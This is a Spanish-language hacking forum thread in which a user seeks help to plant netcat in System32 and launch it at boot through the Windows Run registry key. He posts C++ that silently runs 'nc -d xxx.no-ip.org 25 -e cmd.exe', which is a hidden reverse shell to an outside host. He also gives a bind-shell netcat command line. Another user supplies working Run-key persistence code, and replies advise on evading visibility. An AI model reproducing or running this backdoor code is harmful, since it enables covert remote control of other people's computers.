Add reg

Iniciado por xxxhack2010, 19 Agosto 2010, 09:00 AM

0 Miembros y 2 Visitantes están viendo este tema.

[L]ord [R]NA

Cita de: xxxhack2010 en 21 Agosto 2010, 18:56 PM
Gracias por las respuestas. Vereis soy relativamente nuevo en el mundo de la programacion en c plus plus. Y evidentemente desconozco muchas cosas importantes, como por ejemplo los sockets, y la API de windows. Entonces lo que intentaba desde mis modestos conocimientos era meter un ejecutable en la carpeta system32 con un programa en c plus plus. Y la mejor manera con mis escasos conocimientos era con registros y con la funcion system. Lord, me dices que es mala practica, sigo sin entender porque, pero lo respeto porque tu sabes muchisimo mas que yo. Alabo tu consejo sobre las APIs e intentare aprenderlas, pero de momento quiero mejorar mi base en c plus plus, todavia desconozco muchas librerias, muchas funciones, tema punteros y demas. De todos modos si teneis a bien explicarme en detalle porque no usar system con razonamientos tecnicos os lo agradeceria. No quiero ser un chapucero, y me gusta que la gente que sabeis me ayudeis.
Aun asi quiero plantearos ciertas dudas que me han surgido con el tema registros

porque no es lo mismo poner HKCU/software/microsoft que poner HKCU\Software\microsoft
o porque tampoco es igual poner una sola barra o poner dos barras HKCU//software//microsoft.
Del mismo modo querria saber si es posible incluir en registro la ejecucion de un programa en modo consola y el agregarle a la vez ciertos parametros ej: nc -vv -l -e -p 1234 y que los ejecute cuando reinicie el pc.
Imagino que son dudas y no se si merecen ser respondidas. Si alguien tiene a bien contestar que no dude se lo agradecere. Hasta ahora todo el mundo ha sido muy correcto conmigo y he aprendido mucho aqui, pero si pregunto cosas tontas tambien agradezco se me diga. Google lo tengo bastante trillao pero nunca se sabe si uno esta resultando estupido y hasta que punto.
Gracias por todo.  Yo por mi parte estoy preparando algo que me lleva de momento 3 semanas de duro trabajo. Si con ayuda logro mis objetivos prometo sacar un text para compartirlo con la comunidad. Creo que seria interesante, es algo que es un poco chapucero porque no soy ningun experto, pero creo que es bastante imaginativo, y creo que de momento nunca se ha hecho en el mundo del hack. No me importaria publicarlo y demostrar que a veces las inseguridades estan en zonas de lo mas inexploradas. Un saludo

Añade un peso descomunal al ejecutable... con las Apis puedes hacer un ejecutable que haga eso que quieres en como maximo 4kb... con la llamada a System sobrepasa los  16KB... en estos casos, el tamaño importa.

Por ejemplo en mi antiguo sistema Windows no funcionaria, mi paranoia me llevo a cambiar de nombre muchos ejecutables.

Horricreu

#11
RegOpenKeyEx() + RegSetValueEx() y problema solucionado.

Saludos :P

xxxhack2010

#12
Bueno Lord creo que he entendido los porques de los consejos que me dabas de no usar system. Creo que con system se abre la ventana de ms-dos y no hay forma de cerrarla, con lo cual el nc canta que no veas. Me he decidido a probar suerte con las APIs aunque soy un verdadero novato en esto. He intentado lo siguiente pero sin exito, ya que nc no conecta:

#include <windows.h>

int main()
{
  ShellExecute(NULL, NULL, "C:\\WINDOWS\\System32\\nc -d xxx.no-ip.org 25 -e cmd.exe", NULL, NULL, SW_HIDE);
  return 0;
}


Gracias Herricreu por tus consejos pero si migro el programa a APIs y dejo system lo que quiero es crear nuevos registros. He estado mirando en: http://msdn.microsoft.com/en-us/library/ms724875(v=VS.85).aspx y creo que deberia usar RegCreateKeyEx Function, estoy en lo cierto?
He intentado lo siguiente:

#include <windows.h>
int main()
{
HKEY hkey;
RegOpenKeyEx
(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"nercar",0,REG_SZ,(const unsigned char*)"%windir%\\nercar.exe",sizeof"%windir%\\nercar.exe")     
}


mi intencion seria crear ese registro para que inicie el nc que antes habre metido en system32.

Horricreu

#13
A ver, antes de todo tienes que aprender a googlear y, en tu código tienes bastantes errores. Te voy a poner un ejemplo, luego lo estudias para ver cómo funciona y finalmente lo adaptas a tu código:

Código (cpp) [Seleccionar]
#include <windows.h>

int main()
{
LPSTR lpSubKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hkResult = 0;

if(RegOpenKeyEx(HKEY_CURRENT_USER, lpSubKey, 0, KEY_WRITE, &hkResult) == ERROR_SUCCESS)
{
HKEY hKey = 0;
LPSTR lpValueName = "ejemplo";
LPSTR lpData = "C:\\ejemplo.exe";

if(RegSetValueEx(hkResult, lpValueName, 0, REG_SZ, (LPBYTE)lpData, lstrlen(lpData)) != ERROR_SUCCESS) MessageBox(0, "Error", "Error", 0);
       
else MessageBox(0, "Añadido", "Añadido",0);

RegCloseKey(hKey);
       }

   else MessageBox(0, "Error", "Error",0);
}


Y si no lo comprendes, pregunta en el apartado de programación en C/C++.

Saludos :P